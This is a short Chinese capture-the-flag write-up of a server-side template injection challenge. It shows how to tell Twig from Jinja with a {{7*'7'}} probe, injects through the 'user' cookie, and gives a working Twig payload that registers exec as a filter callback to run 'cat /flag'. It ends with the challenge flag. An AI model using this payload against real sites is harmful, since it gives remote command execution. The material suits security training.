打开后发现有一个flag选项卡,进去后发现有一个输入框
简单测试一下
发现存在着模板注入
(别的师傅那copy的流程图)
如果是Twig,输入{{7*'7'}} 输出49
如果是Jinja,输入{{7*'7'}} 输出7777777
这题是Twig
在hint.php的源码中,对我们进行了提示
我们进行抓包,然后发现cookie里的user是注入点,直接构造payload
user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
#registerUndefinedFilterCallback("exec") 将exec传入到全局数组中
#getFilter("cat /flag")把语句传入到参数
最后实现了在函数中func("exec", "cat /flag")的执行
flag:
flag{b09f3206-7671-4fe7-a669-c944f97dc948}